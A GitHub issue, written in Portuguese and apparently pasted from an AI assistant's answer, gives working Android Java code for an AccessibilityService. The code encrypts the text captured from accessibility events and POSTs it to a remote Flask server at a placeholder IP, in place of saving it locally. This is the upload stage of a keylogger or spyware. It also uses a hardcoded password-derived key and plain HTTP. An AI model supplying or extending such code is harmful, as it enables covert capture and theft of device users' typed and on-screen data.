-
Notifications
You must be signed in to change notification settings - Fork 0
Open
Description
Ótimo! Abaixo está um exemplo completo e funcional de como o app Android pode:
- Criptografar dados com AES/CBC/PKCS5Padding
- Gerar IV aleatório com
SecureRandom - Concatenar IV + dados criptografados
- Enviar via HTTP POST para seu servidor Flask
✅ 1. Dependência (se ainda não tiver no build.gradle):
dependencies {
implementation 'androidx.security:security-crypto:1.1.0-alpha06'
}📄 MyAccessibilityService.java (método sendEncryptedLog)
import android.util.Log;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import java.security.SecureRandom;
import java.security.MessageDigest;
import java.util.Arrays;
import java.net.HttpURLConnection;
import java.net.URL;
import java.io.OutputStream;
private void sendEncryptedLog(String logText) {
try {
// Chave e IV
String secret = "senha-forte-123";
byte[] key = Arrays.copyOf(MessageDigest.getInstance("SHA-256").digest(secret.getBytes("UTF-8")), 16);
// Gera IV aleatório
byte[] iv = new byte[16];
new SecureRandom().nextBytes(iv);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
// Prepara cipher
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
// Criptografa o texto
byte[] encrypted = cipher.doFinal(logText.getBytes("UTF-8"));
// Concatena IV + dados
byte[] payload = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, payload, 0, iv.length);
System.arraycopy(encrypted, 0, payload, iv.length, encrypted.length);
// Envia via HTTP POST
URL url = new URL("http://<IP_DO_SERVIDOR>:5000/upload"); // ajuste IP se necessário
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setDoOutput(true);
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setFixedLengthStreamingMode(payload.length);
conn.connect();
OutputStream os = conn.getOutputStream();
os.write(payload);
os.flush();
os.close();
int responseCode = conn.getResponseCode();
Log.i("SEND_LOG", "Código HTTP: " + responseCode);
} catch (BadPaddingException e) {
Log.e("SEND_LOG", "Erro de padding: " + e.getMessage());
} catch (IllegalBlockSizeException e) {
Log.e("SEND_LOG", "Tamanho de bloco inválido: " + e.getMessage());
} catch (Exception e) {
Log.e("SEND_LOG", "Erro ao enviar log criptografado", e);
}
}✅ Chame esse método dentro do seu onAccessibilityEvent
Substitua:
saveToFile(normalized);Por:
sendEncryptedLog(normalized);📌 Lembretes:
- Substitua
http://<IP_DO_SERVIDOR>:5000/uploadcom o IP da máquina rodando Flask (use IP local ou host visível no emulador/dispositivo). - O servidor já espera
[IV][data]conforme combinamos. - Para testes locais, use o IP
10.0.2.2no emulador Android para se conectar aolocalhostdo host.
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels